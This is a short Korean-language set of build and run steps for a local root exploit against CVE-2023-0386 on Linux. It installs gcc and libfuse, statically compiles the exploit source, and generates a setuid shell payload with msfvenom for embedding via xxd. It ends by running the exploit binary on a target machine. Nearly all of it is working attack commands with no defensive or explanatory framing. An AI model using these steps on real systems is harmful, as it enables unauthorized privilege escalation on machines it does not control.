
CVE-2023-0386 필요한 런타임 라이브러리 포함
컴파일 환경 설치
sudo apt install -y gcc libfuse-dev pkg-config
exp 컴파일
gcc -Wall CVE-2023-0386.c `pkg-config fuse --cflags --libs` -D_FILE_OFFSET_BITS=64 -o CVE-2023-0386-exp -static -lfuse
shellcode 생성
msfvenom -p linux/x86/exec CMD=/bin/sh PrependSetuid=True -f elf -o shellcode.elf && xxd -i -c 8 shellcode.elf
xxd -i -c 8 shellcode.elf
타깃에서 실행, 대상에 gcc 등의 환경을 설치할 필요 없음
chmod +x CVE-2023-0386-exp && ./CVE-2023-0386-exp